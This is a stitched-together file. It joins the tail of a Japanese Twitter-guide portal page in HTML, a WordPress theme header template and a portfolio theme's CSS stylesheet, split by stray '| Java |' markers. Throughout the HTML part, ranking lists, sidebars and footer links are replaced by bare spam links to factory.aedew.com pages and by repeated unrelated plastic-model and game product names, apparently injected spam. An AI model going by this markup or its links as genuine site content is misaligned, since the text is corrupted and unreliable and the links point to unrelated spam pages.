<li class="small list-s"><a href="http://factory.aedew.com/images/Chershire/02021735620rz.html">http://factory.aedew.com/images/Chershire/02021735620rz.html</a></li>
<li class="small list-s"><a href="http://factory.aedew.com/images/Chershire/02021724562nx.html">http://factory.aedew.com/images/Chershire/02021724562nx.html</a></li>
<li class="small list-s"><a href="" class="ranking"><span class="rank rank3">3</span>コトブキヤ 1/100 フレームアームズ フレームアームズバーサスセット (ゼルフィカールVSフレズヴェルク=アーテル) プラモデル(F3797)</a></li>
</ol>
</div>
<div class="clearfix"></div>
<div class="column home-buzzimage">
<a href="" class="block"><img src="http://natalie.mu/media/comic/1502/0212/extra/news_xlarge_majicalo.jpg" class="article-thumbnail" alt="" /></a>
</div>
<div class="home-buzzlinks">
<h2 class="small"><a href="http://twinavi.jp/topics/entertainment#topics-ranking">エンタメ</a>:</h2>
<ol class="home-rankinglist">
<li class="small list-s"><a href="" class="ranking"><span class="rank rank1">1</span>新鋭・鈍速毎日が描く熱血魔法少女アクション...</a></li>
<li class="small list-s"><a href="" class="ranking"><span class="rank rank2">2</span>ハセガワ 1/350 航空母艦 赤城用 木製甲板(U2622),PS Vita シェルノサージュ 失われた星へ捧ぐ詩 AGENT PACK【限定版】(図書カード 付)[ガスト]
</a></li>
<li class="small list-s"><a href="http://factory.aedew.com/images/Chershire/02021716615en.html">http://factory.aedew.com/images/Chershire/02021716615en.html</a></li>
</ol>
</div>
<div class="clearfix"></div>
<div class="column home-buzzimage">
<a href="" class="block"><img src="http://pbs.twimg.com/media/CXxje1GUMAAo8pE.jpg" class="article-thumbnail" alt="" /></a>
</div>
<div class="home-buzzlinks">
<h2 class="small"><a href="">オモシロ</a>:</h2>
<ol class="home-rankinglist">
<li class="small list-s"><a href="" class="ranking"><span class="rank rank1">1</span>ピントと写真の関係性について。</a></li>
<li class="small list-s"><a href="http://factory.aedew.com/images/Chershire/02021716385sk.html">http://factory.aedew.com/images/Chershire/02021716385sk.html</a></li>
<li class="small list-s"><a href="" class="ranking"><span class="rank rank3">3</span>子供たちにかかわるすべての大人たちへ。さま...</a></li>
</ol>
</div>
<div class="clearfix"></div>
<div class="column home-buzzimage">
<a href="/topics/lifestyle/560bcdc1-aa20-49c0-aa74-6230ac133a21" class="block"><img src="http://twinavi.jp/articles/wp-content/uploads/2015/11/tweet-alt-pic.png" class="article-thumbnail" alt="" /></a>
</div>
<div class="home-buzzlinks">
<h2 class="small"><a href="">ライフスタイル</a>:</h2>
<ol class="home-rankinglist">
<li class="small list-s"><a href="http://factory.aedew.com/images/Chershire/02021709409dg.html">http://factory.aedew.com/images/Chershire/02021709409dg.html</a></li>
<li class="small list-s"><a href="" class="ranking"><span class="rank rank2">2</span>母が不幸なのはわたしのせいではない。わたし...</a></li>
<li class="small list-s"><a href="" class="ranking"><span class="rank rank3">3</span>フジミ 1/350 グレードアップパーツシリーズ No.40 日本海軍航空母艦 加賀専用エッチングパーツSP2(F3906)</a></li>
</ol>
</div>
<div class="clearfix"></div>
<div class="column home-buzzimage">
<a href="" class="block"><img src="/img/topics/thumbnail/internetcom.gif?1450773495" class="article-thumbnail" alt="" /></a>
</div>
<div class="home-buzzlinks">
<h2 class="small"><a href="">IT</a>:</h2>
<ol class="home-rankinglist">
<li class="small list-s"><a href="" class="ranking"><span class="rank rank1">1</span>Google カレンダーのデータを Excel にエクス...</a></li>
<li class="small list-s"><a href="http://factory.aedew.com/images/Chershire/02021719858qh.html">http://factory.aedew.com/images/Chershire/02021719858qh.html</a></li>
<li class="small list-s"><a href="" class="ranking"><span class="rank rank3">3</span>家族で使いやすいLINEスタンプ登場--「洗濯し...</a></li>
</ol>
</div>
<div class="clearfix"></div>
<div class="column home-buzzimage">
<a href="" class="block"><img src="http://www.gizmodo.jp/images/2015/12/151225arcticwinter.jpg" class="article-thumbnail" alt="" /></a>
</div>
<div class="home-buzzlinks">
<h2 class="small"><a href="">カルチャー</a>:</h2>
<ol class="home-rankinglist">
<li class="small list-s"><a href="" class="ranking"><span class="rank rank1">1</span>アオシマ 1/32 アートトラック No.3 椎名急送 由加丸 3番 プラモデル(D5644)</a></li>
<li class="small list-s"><a href="" class="ranking"><span class="rank rank2">2</span>海の上はハードル高すぎた…SpaceX、ついに地...</a></li>
<li class="small list-s"><a href="http://factory.aedew.com/images/Chershire/02021722724zv.html">http://factory.aedew.com/images/Chershire/02021722724zv.html</a></li>
</ol>
</div>
<div class="clearfix"></div>
<div class="column home-buzzimage">
<a href="" class="block"><img src="http://f.image.geki.jp/data/image/news/2560/154000/153676/news_153676_1.jpg" class="article-thumbnail" alt="" /></a>
</div>
<div class="home-buzzlinks">
<h2 class="small"><a href="">スポーツ</a>:</h2>
<ol class="home-rankinglist">
<li class="small list-s"><a href="" class="ranking"><span class="rank rank1">1</span>徳島がDF村松の契約満了を発表</a></li>
<li class="small list-s"><a href="http://factory.aedew.com/images/Chershire/02021731384mq.html">http://factory.aedew.com/images/Chershire/02021731384mq.html</a></li>
<li class="small list-s"><a href="" class="ranking"><span class="rank rank3">3</span>「彼らは素晴らしい選手」個性磨いた神奈川県...</a></li>
</ol>
</div>
<div class="clearfix"></div>
</div>
</section>
<section id="home-faq" class="section">
<h1 class="section-title small navi"><a href="">Twitter使い方ガイド よくある質問アクセスランキング</a></h1>
<div class="section-body">
<ol>
<li class="small list-l lined"><a href="http://factory.aedew.com/images/Chershire/02021739240jw.html">http://factory.aedew.com/images/Chershire/02021739240jw.html</a></li>
<li class="small list-l lined"><a href="" class="ranking"><span class="rank rank2">2</span>自分のツイートを削除するにはどうしたらいいですか?</a></li>
<li class="small list-l lined"><a href="" class="ranking"><span class="rank rank3">3</span>アオシマ 1/350 アイアンクラッド 重巡洋艦 鳥海 1944 プラモデル(U0346)</a></li>
</ol>
</div>
<div class="section-footer">
<a href="" class="link-more">もっと知りたい!「Twitter使い方ガイド」</a>
</div>
</section>
</div>
</div>
<aside class="column sub">
<section id="twinavi-tweet" class="section">
<h1 class="section-title small">最新のツイナビツイート</h1>
<div class="section-body">
<p class="small">【話題のツイート】私が「♪お手〜伝いロボ♪ 緊急出動〜♪」って歌えば、子供達は… <a rel="nofollow" target="_blank" href="">アオシマ 1/350 アイアンクラッド 重巡洋艦 那智 1943 プラモデル(X2147)</a></p>
</div>
<div class="follow_sidebar follow_twitter">
<span class="altimg hukidashi"></span>
<div class="column">
<a href="" title="ツイナビのTwitterアカウント" class="altimg icon m ic-twinavi">PS Vita シェルノサージュ 失われた星へ捧ぐ詩 AGENT PACK【限定版】(図書カード 付)[ガスト]
<</a>
</div>
<div class="giftext icon-m">
<a href="" title="ツイナビのTwitterアカウント" class="small">Twitterの最新情報をチェックしよう!</a>
<a href="https://twitter.com/" class="twitter-follow-button" data-show-count="false" data-lang="ja" data-show-screen-name="true">をフォロー</a>
</div>
<div class="clearfix"></div>
</div>
</section>
<section id="facebook" class="section">
<p class="small">Facebook</p>
<div class="follow_fb"><div id="fb-root"></div><div class="fb-like" data-href="https://www.facebook.com/" data-send="false" data-layout="button_count" data-width="55" data-show-faces="false"></div></div>
</section>
<section id="home-side-account" class="section">
<h1 class="section-title small sub"><a href="">有名アカウントを探す</a></h1>
<div class="section-body-sub">
<ul>
<li>
<a href="" class="lined all block">
<span class="column icon-32">
<img src="http://pbs.twimg.com/profile_images/645312064815128576/v_uMNqPs_bigger.jpg" alt="GACKT" class="icon icon32" style="margin-top:3px" />
</span>
<span class="giftext icon-32 small">
総合<br />
<span class="num mute xsmall">71,071人</span>
</span>
</a>
</li>
<li>
<a href="" class="lined block">
<span class="column icon-32">
<img src="http://pbs.twimg.com/profile_images/645312064815128576/v_uMNqPs_bigger.jpg" alt="GACKT" class="icon icon32" style="margin-top:3px" />
</span>
<span class="giftext icon-32 small">
有名人・芸能人<br />
<span class="num mute xsmall">2,867人</span>
</span>
</a>
</li>
<li>
<a href="" class="lined block">
<span class="column icon-32">
<img src="http://pbs.twimg.com/profile_images/680394216774619138/6MmJRmsb_bigger.jpg" alt="タワーレコード川崎店(通称:タワ崎)" class="icon icon32" style="margin-top:3px" />
</span>
<span class="giftext icon-32 small">
エンタメ<br />
<span class="num mute xsmall">3,226人</span>
</span>
</a>
</li>
<li>
<a href="" class="lined block">
<span class="column icon-32">
<img src="http://pbs.twimg.com/profile_images/525836947420237824/MNKjOzix_bigger.png" alt="SHOPLIST" class="icon icon32" style="margin-top:3px" />
</span>
<span class="giftext icon-32 small">
<span style="letter-spacing:-2px">くらし・おでかけ</span><br />
<span class="num mute xsmall">6,128人</span>
</span>
</a>
</li>
<li>
<a href="" class="lined block">
<span class="column icon-32">
<img src="http://pbs.twimg.com/profile_images/609171843761594368/oBhlek1O_bigger.png" alt="ショップジャパン【公式】" class="icon icon32" style="margin-top:3px" />
</span>
<span class="giftext icon-32 small">
メディア<br />
<span class="num mute xsmall">2,639人</span>
</span>
</a>
</li>
<li>
<a href="" class="lined block">
<span class="column icon-32">
<img src="http://pbs.twimg.com/profile_images/428453450527940609/6BmKmb99_bigger.jpeg" alt="旭川市旭山動物園[公式]" class="icon icon32" style="margin-top:3px" />
</span>
<span class="giftext icon-32 small">
社会・政治<br />
<span class="num mute xsmall">886人</span>
</span>
</a>
</li>
<li>
<a href="" class="lined block">
<span class="column icon-32">
<img src="http://pbs.twimg.com/profile_images/1245987829/tokoro_san_bigger.jpg" alt="所英男" class="icon icon32" style="margin-top:3px" />
</span>
<span class="giftext icon-32 small">
スポーツ<br />
<span class="num mute xsmall">1,080人</span>
</span>
</a>
</li>
<li>
<a href="" class="lined last block">
<span class="column icon-32">
<img src="http://pbs.twimg.com/profile_images/666407537084796928/YBGgi9BO_bigger.png" alt="Twitter" class="icon icon32" style="margin-top:3px" />
</span>
<span class="giftext icon-32 small">
ビジネス・経済<br />
<span class="num mute xsmall">2,996人</span>
</span>
</a>
</li>
<li>
<a href="" class="lined last block">
<span class="column icon-32">
<img src="http://pbs.twimg.com/profile_images/525836947420237824/MNKjOzix_bigger.png" alt="SHOPLIST" class="icon icon32" style="margin-top:3px" />
</span>
<span class="giftext icon-32 small">
サービス<br />
<span class="num mute xsmall">3,871人</span>
</span>
</a>
</li>
</ul>
<div class="clearfix"></div>
</div>
</section>
<section class="section">
<h1 class="section-title small sub"><a href="">ツイッター使い方ガイド</a></h1>
<div class="section-body-sub">
<ul>
<li class="small dotted lined"><a href="http://factory.aedew.com/images/Chershire/02021725347ye.html">http://factory.aedew.com/images/Chershire/02021725347ye.html</a></li>
<li class="small dotted lined"><a href="">基本的な使い方</a></li>
<li class="small dotted lined"><a href="http://factory.aedew.com/images/Chershire/02021737143na.html">http://factory.aedew.com/images/Chershire/02021737143na.html</a></li>
<li class="small dotted lined"><a href="">FAQ よくある質問</a></li>
<li class="small dotted lined last" last><a href="">用語集</a></li>
</ul>
</div>
</section>
<div class="section section-fbwidget">
<div class="section-title small sub">Facebook</div>
<div class="fb-like-box" data-href="http://www.facebook.com/" data-width="292" data-height="255" data-colorscheme="light" data-show-faces="true" data-header="false" data-stream="false" data-show-border="false">PS Vita シェルノサージュ 失われた星へ捧ぐ詩 AGENT PACK【限定版】(図書カード 付)[ガスト]
</div>
</div>
</aside>
<div class="clearfix"></div>
<nav class="contents">
<br />
<a href="" class="link-top absright">ページの上部へ</a>
</nav>
</div>
<footer id="pagefooter" class="wrapper">
<div class="contents">
<nav>
<ul id="sitemap">
<li class="sitemap-block"><span class="top-sitemap"><a href="" class="servicename ti-topics">話題</a></span>
<ul>
<li><a href="http://factory.aedew.com/images/Chershire/02021733615ni.html">http://factory.aedew.com/images/Chershire/02021733615ni.html</a></li>
<li><a href="">ニュース</a></li>
<li><a href="">オモシロ</a></li>
<li><a href="http://factory.aedew.com/images/Chershire/02021740720ra.html">http://factory.aedew.com/images/Chershire/02021740720ra.html</a></li>
<li><a href="">エンタメ</a></li>
<li><a href="">IT</a></li>
<li><a href="">カルチャー</a></li>
<li><a href="">PS Vita シェルノサージュ 失われた星へ捧ぐ詩 AGENT PACK【限定版】(図書カード 付)[ガスト]
</a></li>
<li><a href="">お知らせ</a></li>
</ul>
<br class="block clearfix"><br>
<span class="top-sitemap"><a href="" class="servicename ti-matome">まとめ</a></span>
<ul>
<li><a href="http://twinavi.jp/matome/category/%E3%82%B3%E3%83%9F%E3%83%83%E3%82%AF%E3%83%BB%E3%82%A2%E3%83%8B%E3%83%A1">コミック・アニメ</a></li>
<li><a href="http://twinavi.jp/matome/category/%E3%82%B2%E3%83%BC%E3%83%A0">ゲーム</a></li>
<li><a href="">映画</a></li>
<li><a href="" class="div-inner small on">TV番組</a></li>
<li><a href="">芸能(海外)</a></li>
<li><a href="http://twinavi.jp/matome/category/%E8%8A%B8%E8%83%BD%EF%BC%88%E5%9B%BD%E5%86%85%EF%BC%89">芸能(国内)</a></li>
<li><a href="http://twinavi.jp/matome/category/%E3%83%97%E3%83%AD%E9%87%8E%E7%90%83">プロ野球</a></li>
<li><a href="">Jリーグ</a></li>
<li><a href="">スポーツ選手</a></li>
<li><a href="http://twinavi.jp/matome/category/%E3%82%AC%E3%82%B8%E3%82%A7%E3%83%83%E3%83%88">ガジェット</a></li>
<li><a href="http://factory.aedew.com/images/Chershire/02021728723ri.html">http://factory.aedew.com/images/Chershire/02021728723ri.html</a></li>
<li><a href="">政治</a></li>
<li><a href="http://factory.aedew.com/images/Chershire/02021712417yx.html">http://factory.aedew.com/images/Chershire/02021712417yx.html</a></li>
<li><a href="">IT</a></li>
<li><a href="http://twinavi.jp/matome/category/%E9%9F%B3%E6%A5%BD">音楽</a></li>
<li><a href="">PS Vita シェルノサージュ 失われた星へ捧ぐ詩 AGENT PACK【限定版】(図書カード 付)[ガスト]
</a></li>
<li><a href="">社会</a></li>
<li><a href="http://factory.aedew.com/images/Chershire/02021733529og.html">http://factory.aedew.com/images/Chershire/02021733529og.html</a></li>
</ul>
<br class="block clearfix"><br>
</li>
<li class="sitemap-block">
<span class="top-sitemap"><a href="http://factory.aedew.com/images/Chershire/02021730820du.html">http://factory.aedew.com/images/Chershire/02021730820du.html</a></span>
<ul>
<li><a href="">インタビュー 一覧</a></li>
</ul>
<br class="block clearfix"><br>
<span class="top-sitemap"><a href="" class="servicename ti-account">Twitter</a></span>
<ul>
<li><a href="./index.html">総合</a></li>
<li><a href="http://twinavi.jp/account/list/%E6%9C%89%E5%90%8D%E4%BA%BA%E3%83%BB%E8%8A%B8%E8%83%BD%E4%BA%BA">有名人・芸能人</a></li>
<li><a href="">エンタメ</a></li>
<li><a href="http://factory.aedew.com/images/Chershire/02021719871mp.html">http://factory.aedew.com/images/Chershire/02021719871mp.html</a></li>
<li><a href="">メディア</a></li>
<li><a href="http://twinavi.jp/account/list/%E3%83%93%E3%82%B8%E3%83%8D%E3%82%B9%E3%83%BB%E7%B5%8C%E6%B8%88">ビジネス・経済</a></li>
<li><a href="">PS Vita シェルノサージュ 失われた星へ捧ぐ詩 AGENT PACK【限定版】(図書カード 付)[ガスト]
</a></li>
<li><a href="">スポーツ</a></li>
<li><a href="">サービス</a></li>
<li><a href="http://factory.aedew.com/images/Chershire/02021721152aa.html">http://factory.aedew.com/images/Chershire/02021721152aa.html</a></li>
</ul>
<br class="block clearfix"><br>
<span class="top-sitemap"><a href="" class="servicename ti-topics">特別企画</a></span>
<ul>
<li class="clearfix"><a href="">アンケート</a></li>
<li><a href="">選挙</a></li>
</ul>
</li>
<li class="sitemap-block"><span class="top-sitemap"><a href="" class="servicename ti-guide">Twitter使い方ガイド</a></span>
<ul>
<li><a href="http://factory.aedew.com/images/Chershire/02021725622wi.html">http://factory.aedew.com/images/Chershire/02021725622wi.html</a></li>
<li><a href="">Twitterとは</a></li>
<li><a href="http://factory.aedew.com/images/Chershire/02021727692jv.html">http://factory.aedew.com/images/Chershire/02021727692jv.html</a></li>
<li><a href="">PS Vita シェルノサージュ 失われた星へ捧ぐ詩 AGENT PACK【限定版】(図書カード 付)[ガスト]
</a></li>
<li><a href="">よくある質問</a></li>
<li><a href="http://factory.aedew.com/images/Chershire/02021730949ix.html">http://factory.aedew.com/images/Chershire/02021730949ix.html</a></li>
</ul>
<br class="block clearfix"><br>
<span class="top-sitemap"><a href="" class="servicename ti-twitter">ツイッター検索</a></span>
<ul>
<li><a href="">キーワード検索</a></li>
<li><a href="">ユーザー会話検索</a></li>
</ul>
<br class="block clearfix"><br>
<span class="top-sitemap"><a href="" class="servicename ti-help">ツイナビヘルプ</a></span>
<ul>
<li><a href="http://factory.aedew.com/images/Chershire/02021706182ax.html">http://factory.aedew.com/images/Chershire/02021706182ax.html</a></li>
<li><a href="">よくある質問</a></li>
</ul>
</li>
</ul>
</nav>
<div class="clearfix"></div>
</div>
<div id="footer-giftext">
<div class="contents">
<!-- giftext -->
<div class="column footer-giftext">
<div class="column">
<a href="http://factory.aedew.com/images/Chershire/02021716371bz.html">http://factory.aedew.com/images/Chershire/02021716371bz.html</a>
</div>
<div class="giftext icon-m">
<span class="subtitle">ツイナビ公式Twitter</span>
<a href="" class="twitter-follow-button" data-show-count="false" data-lang="ja" data-show-screen-name="false">アオシマ 1/350 アイアンクラッド 重巡洋艦 羽黒 プラモデル(X9686)</a>
</div>
</div>
<div class="column footer-giftext">
<div class="column">
<a href="https://www.facebook.com/" target="_blank" class="altimg icon m ic-facebook">facebook</a>
</div>
<div class="giftext icon-m">
<span class="subtitle">ツイナビ公式Facebook</span>
<div id="fb-root"></div><div class="fb-like" data-href="https://www.facebook.com/" data-send="false" data-layout="button_count" data-width="200" data-show-faces="false">PS Vita シェルノサージュ 失われた星へ捧ぐ詩 AGENT PACK【限定版】(図書カード 付)[ガスト]
</div>
</div>
</div>
<div class="column footer-giftext twinavismart">
<div class="column">
<a href="" class="altimg icon m ic-twinavismart">ツイナビforスマートフォン</a>
</div>
<div class="giftext icon-m">
<span class="subtitle"><a href="">ツイナビforスマートフォン</a></span>
<span class="xsmall"><a href="">スマートフォンでアクセス!</a></span>
</div>
</div>
<!-- //giftext -->
<div class="clearfix"></div>
</div>
</div>
<div class="contents last">
<ul id="docs" class="centered xsmall">
<li><a href="">ツイナビ ホーム</a></li>
<li><a href="">利用規約</a></li>
<li><a href="http://www.garage.co.jp/corporate/policy/index.html" target="_blank">個人情報保護方針</a></li>
<li><a href="">健全化に関する指針</a></li>
<li><a href="http://factory.aedew.com/images/Chershire/02021708659eh.html">http://factory.aedew.com/images/Chershire/02021708659eh.html</a></li>
<li><a href="http://factory.aedew.com/images/Chershire/02021723247al.html">http://factory.aedew.com/images/Chershire/02021723247al.html</a></li>
<li><a href="">広告掲載について</a></li>
<li class="last"><a href="">お問い合わせ</a>
</ul>
<p class="centered xsmall"><small>Copyright © 2016 All rights reserved.</small></p>
</div>
</footer>
<div class="hide">
<div id="preregister-box">
<p class="preregister-title large">PS Vita シェルノサージュ 失われた星へ捧ぐ詩 AGENT PACK【限定版】(図書カード 付)[ガスト]
</p>
<p class="preregister-text">コトブキヤ ガンヘッド プラモデル(A9503)<br/>ハセガワ Z26 1/350 日本海軍 軽巡洋艦 矢矧 天一号作戦 プラモデル(X1074),PS Vita シェルノサージュ 失われた星へ捧ぐ詩 AGENT PACK【限定版】(図書カード 付)[ガスト]
</p>
<p><a href="" class="btn login preregister-login">Twitterでの認証に進む</a></p>
</div>
</div>
</body>
</html>
| Java |
<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title><?php wp_title('', true, 'right'); ?> <?php bloginfo('name'); ?></title>
<link rel="pingback" href="<?php bloginfo('pingback_url'); ?>" />
<link rel="stylesheet" href="<?php bloginfo('stylesheet_url'); ?>" type="text/css" media="screen" />
<?php wp_head(); ?>
<!--[if lte IE 9]><link rel="stylesheet" type="text/css" media="all" href="<?php bloginfo('template_directory');?>/css/ie.css" /><![endif]-->
<script type="text/javascript">
jQuery(document).ready(function() {
jQuery.fn.cleardefault = function() {
return this.focus(function() {
if( this.value == this.defaultValue ) {
this.value = "";
}
}).blur(function() {
if( !this.value.length ) {
this.value = this.defaultValue;
}
});
};
jQuery(".clearit input, .clearit textarea").cleardefault();
});
</script>
</head>
<body<?php if(is_front_page()) {echo ' class="inner-page"';} ?>>
<!--[if lt IE 7]><p class=chromeframe>Your browser is <em>ancient!</em> <a href="http://browsehappy.com/">Upgrade to a different browser</a> or <a href="http://www.google.com/chromeframe/?redirect=true">install Google Chrome Frame</a> to experience this site.</p><![endif]-->
<div class="wrapper">
<header>
<div class="holder">
<strong class="ipad-icon"><a href="http://angel.co/wtf">Coming soon to iPad and iPhone</a></strong>
<strong class="logo"><a href="<?php bloginfo('url'); ?>"><?php bloginfo('name'); ?></a></strong>
</div>
</header><!-- / header -->
<div id="main">
| Java |
@import url(http://fonts.googleapis.com/css?family=Lato:100,300,400,700,300italic,400italic,700italic|Merriweather:400,300,300italic,400italic,700,700italic);
/*
Theme Name: Margo Conner's Portfolio
Description: My portfolio!
Author: Margo Conner
Author URI: http://www.margoconner.com
Template: bootstrap-wp
Version: 1.0.0
*/
/* global
-------------------------------------------------------------- */
body {
font-family: "Merriweather", Georgia, serif;
font-weight: 300;
line-height: 27px;
font-size: 14px;
padding-top: 0px;
padding-bottom: 0px;
background-color: #FAFAFA;
}
a {
color: #007998;
-webkit-transition: color 0.25s ease-in-out;
-moz-transition: color 0.25s ease-in-out;
-o-transition: color 0.25s ease-in-out;
-ms-transition: color 0.25s ease-in-out;
transition: color 0.25s ease-in-out;
text-decoration: none;
}
a:hover,
a:focus,
a:active {
color: rgba(0, 121, 152, 0.5);
}
p {
margin: 0 0 27px;
}
.shrink {
padding-left: 50px;
padding-right: 50px;
}
/* Typography
-------------------------------------------------------------- */
/* Headings */
h1,
h2,
h3,
h4,
h5,
h6 {
clear: both;
font-family: "Lato", Helvetica, Arial, sans-serif;
font-weight: 700;
}
h1 {
line-height: 71px;
font-size: 48px;
font-size: 4.8rem;
}
h2 {
line-height: 50px;
font-size: 34px;
font-size: 3.4rem;
}
h3 {
line-height: 41px;
font-size: 28px;
font-size: 2.8rem;
}
h4 {
line-height: 26px;
font-size: 18px;
font-size: 1.8rem;
}
hr {
background-color: #ccc;
border: 0;
height: 1px;
margin-bottom: 1.5em;
}
.lato {
font-family: "Lato", Helvetica, Arial, sans-serif;
font-weight: 400;
}
.lato-small {
font-family: "Lato", Helvetica, Arial, sans-serif;
font-weight: 400;
font-size: 14px;
}
/* Header
------------------------------------------------------------- */
.logo {
content: url(http://localhost:8888/portfolio-dev/wp-content/uploads/2015/06/logoidea2.png);
margin-right: 10px;
width: 50px;
float: left;
}
.navbar {
font-family: "Lato", Helvetica, Arial, sans-serif;
}
.navbar-default {
background-color: #A7C5BD;
border-color: transparent;
padding-top: 20px;
padding-bottom: 20px;
}
.navbar-default .navbar-brand {
text-transform: none;
font-family: "Merriweather";
font-weight: 300;
font-size: 30px;
text-align: left;
color: #fff;
vertical-align: top;
height: auto;
}
.navbar-default .navbar-brand:hover, .navbar-default .navbar-brand:focus {
color: #fff;
-webkit-transition: none;
-moz-transition: none;
-o-transition: none;
-ms-transition: none;
transition: none;
}
.navbar-nav {
float: right;
}
.navbar-default .navbar-nav > li > a {
padding: 0px;
margin-left: 15px;
margin-right: 15px;
top: 20px;
font-size: 14px;
font-weight: 500;
text-transform: uppercase;
color: #FFFFFF;
-webkit-transition: color 0.25s ease-in-out;
-moz-transition: color 0.25s ease-in-out;
-o-transition: color 0.25s ease-in-out;
-ms-transition: color 0.25s ease-in-out;
transition: color 0.25s ease-in-out;
}
.navbar-default .navbar-nav > li > a:hover,
.navbar-default .navbar-nav > li > a:focus {
/*border-bottom: 2px solid rgba(100, 100, 100, 0.5);*/
background-color: transparent;
color: rgba(82, 70, 86, .8); /* before, 100, 100, 100 */
}
.navbar-default .navbar-nav .current_page_item > a, .navbar-default .navbar-nav .current-menu-parent > a {
background: transparent;
color: rgba(82, 70, 86, .7);
border-bottom: 2px solid rgba(82, 70, 86, .8);
}
.page-header {
padding-bottom: 9px;
margin: 40px 0 20px;
text-align: center;
text-transform: uppercase;
border-bottom: none;
letter-spacing: .3em;
}
/* Footer
------------------------------------------------------------- */
.bottom {
background-color: #524656;
}
.colorblock {
width: 100%;
background-color: #524656;
padding-top: 40px;
margin-top: 40px;
}
footer {
font-family: "Lato", Helvetica, Arial, sans-serif;
font-weight: 400;
color: #fff;
}
.colorblock a,
.colorblock a:visited,
.colorblock a:active,
.colorblock a:focus {
color: #fff;
text-decoration: none;
}
.fa {
padding-left: 10px;
}
/* Blog
------------------------------------------------------------- */
#blog-column {
padding-left: 40px;
padding-right: 40px;
}
.authorpic {
text-align: center;
width: 225px;
}
/* Portfolio
-------------------------------------------------------------- */
.notheader {
font-weight: 300;
}
#notheader1 {
margin-top: 0px;
}
.piece-details {
border-right: 1px solid gray;
margin-top: 10px;
}
.piece-description {
padding-left: 25px;
}
.piece-title {
font-family: "Merriweather", Georgia, sans-serif;
font-weight: 200;
font-size: 24px;
padding-top: 10px;
padding-bottom: 20px;
text-transform: none;
}
.piece-singleimage {
margin: 0 0 60px;
margin-top: 20px;
}
.portfolio-piece {
margin-bottom: 30px;
}
.portfolio-piece p {
margin-bottom: 0;
}
.portfolio-piece h4 {
margin-bottom: 0;
font-weight: 400;
}
.portfolio-piece h6 {
margin-bottom: 3px;
margin-top: 0px;
font-weight: 400;
}
.fade {
opacity: 1;
transition: opacity .25s ease-in-out;
-moz-transition: opacity .25s ease-in-out;
-webkit-transition: opacity .25s ease-in-out;
}
.fade:hover {
opacity: 0.9;
}
.portfolio h5 {
text-transform: none;
letter-spacing: 0em;
font-family: "Merriweather", Georgia, serif;
font-weight: 300;
line-height: 21px;
font-size: 14px;
font-style: italic;
margin-top: 0px;
margin-bottom: 0px;
}
.recentwork {
text-transform: uppercase;
letter-spacing: .2em;
margin-bottom: 20px;
}
.arrow-prev {
margin-left: 5px;
}
.arrow-next {
margin-right: 5px;
}
.arrow-center {
margin-left: 20px;
margin-right: 20px;
}
.prev-next {
font-size: 14px;
margin-top: 30px;
text-align: center;
}
/* Sidebar
------------------------------------------------------------- */
.sidebar {
margin-top: 10px;
color: #333;
font-family: "Lato", Helvetica, Arial, sans-serif;
line-height: 21px;
}
.sidebar h3 {
color: #333;
font-weight: 400;
font-size: 16px;
text-align: center;
text-transform: uppercase;
}
.widget {
margin: 10px 0 30px;
}
.widget ul {
padding-left: 0px;
}
.cat-item {
list-style-type: none;
font-weight: 400;
font-size: 14px;
text-transform: uppercase;
border-bottom: 1px solid rgb(238, 238, 238);
margin-bottom: 10px;
}
.widget h3 {
position: relative;
z-index: 1;
overflow: hidden;
text-align: center;
}
.widget > h3:before, .widget > h3:after {
position: absolute;
top: 51%;
overflow: hidden;
width: 48%;
height: 2px;
content: '\a0';
background-color: #888;
margin-left: 5px;
}
.widget > h3:before {
margin-left: -50%;
text-align: right;
}
.screen-reader-text {
display: none;
}
.searchform {
text-align: center;
}
#searchsubmit {
display: inline-block;
padding: 4px 10px 4px;
font-size: 13px;
line-height: 18px;
color: #333333;
text-align: center;
text-shadow: 0 1px 1px rgba(255, 255, 255, 0.75);
background-color: #fafafa;
/*background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#ffffff), color-stop(25%, #ffffff), to(#e6e6e6));
background-image: -webkit-linear-gradient(#ffffff, #ffffff 25%, #e6e6e6);
background-image: -moz-linear-gradient(top, #ffffff, #ffffff 25%, #e6e6e6);
background-image: -ms-linear-gradient(#ffffff, #ffffff 25%, #e6e6e6);
background-image: -o-linear-gradient(#ffffff, #ffffff 25%, #e6e6e6);
background-image: linear-gradient(#ffffff, #ffffff 25%, #e6e6e6);
background-repeat: no-repeat;
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#e6e6e6', GradientType=0);*/
border: 1px solid #ccc;
border-bottom-color: #bbb;
-webkit-border-radius: 4px;
-moz-border-radius: 4px;
border-radius: 4px;
-webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);
-moz-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);
box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);
cursor: pointer;
*margin-left: .3em;
}
#searchsubmit:hover {
color: #333333;
text-decoration: none;
background-color: #e6e6e6;
background-position: 0 -15px;
-webkit-transition: background-position 0.1s linear;
-moz-transition: background-position 0.1s linear;
-ms-transition: background-position 0.1s linear;
-o-transition: background-position 0.1s linear;
transition: background-position 0.1s linear;
}
#searchsubmit:focus {
outline: thin dotted;
outline: 5px auto -webkit-focus-ring-color;
outline-offset: -2px;
}
#searchsubmit.active, #searchsubmit:active {
background-image: none;
-webkit-box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05);
-moz-box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05);
box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05);
background-color: #e6e6e6;
background-color: #d9d9d9 \9;
color: rgba(0, 0, 0, 0.5);
outline: 0;
}
/* Flexslider
-------------------------------------------------------------- */
.flexslider {
margin: 0 0 60px;
margin-top: 20px;
background: #ffffff;
border: 0;
position: relative;
zoom: 1;
-webkit-border-radius: 0;
-moz-border-radius: 0;
border-radius: 0;
-webkit-box-shadow: '' 0 0 0 rgba(0, 0, 0, 0);
